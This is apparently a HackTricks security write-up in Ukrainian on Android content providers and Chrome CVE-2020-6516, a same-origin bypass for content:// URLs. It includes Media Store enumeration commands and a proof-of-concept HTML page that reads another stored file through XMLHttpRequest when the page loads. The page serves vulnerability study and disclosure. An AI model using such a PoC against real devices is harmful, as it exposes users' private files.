7.7 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
{% embed url="https://websec.nl/" %}
Це резюме посту https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
Перелік файлів у Media Store
Щоб перерахувати файли, які керуються Media Store, можна використовувати команду нижче:
$ content query --uri content://media/external/file
Для більш зручного для людини виводу, що відображає лише ідентифікатор та шлях до кожного проіндексованого файлу:
$ content query --uri content://media/external/file --projection _id,_data
Контент-провайдери ізольовані у власному приватному просторі імен. Доступ до провайдера вимагає специфічного content://
URI. Інформацію про шляхи доступу до провайдера можна отримати з маніфестів додатків або вихідного коду фреймворку Android.
Доступ Chrome до контент-провайдерів
Chrome на Android може отримувати доступ до контент-провайдерів через схему content://
, що дозволяє йому отримувати доступ до ресурсів, таких як фотографії або документи, експортовані сторонніми додатками. Щоб проілюструвати це, файл можна вставити в Media Store, а потім отримати до нього доступ через Chrome:
Вставте власний запис у Media Store:
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
Визначте ідентифікатор нововставленого файлу:
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
Файл можна переглянути в Chrome, використовуючи URL, побудований з ідентифікатора файлу.
Наприклад, щоб перерахувати файли, пов'язані з конкретним додатком:
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
Chrome CVE-2020-6516: Обхід політики однакового походження
Політика однакового походження (SOP) є протоколом безпеки в браузерах, який обмежує веб-сторінки у взаємодії з ресурсами з різних походжень, якщо це не дозволено явно політикою Cross-Origin-Resource-Sharing (CORS). Ця політика має на меті запобігти витоку інформації та підробці міжсайтових запитів. Chrome вважає content://
локальною схемою, що передбачає більш суворі правила SOP, де кожен URL локальної схеми розглядається як окреме походження.
Однак CVE-2020-6516 була вразливістю в Chrome, яка дозволяла обійти правила SOP для ресурсів, завантажених через URL content://
. Фактично, JavaScript-код з URL content://
міг отримувати доступ до інших ресурсів, завантажених через URL content://
, що становило значну загрозу безпеці, особливо на пристроях Android, що працюють на версіях раніше Android 10, де не було реалізовано обмежене зберігання.
Нижче наведено доказ концепції, який демонструє цю вразливість, де HTML-документ, після завантаження під /sdcard та додавання до Media Store, використовує XMLHttpRequest
у своєму JavaScript для доступу та відображення вмісту іншого файлу в Media Store, обходячи правила SOP.
Proof-of-Concept HTML:
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.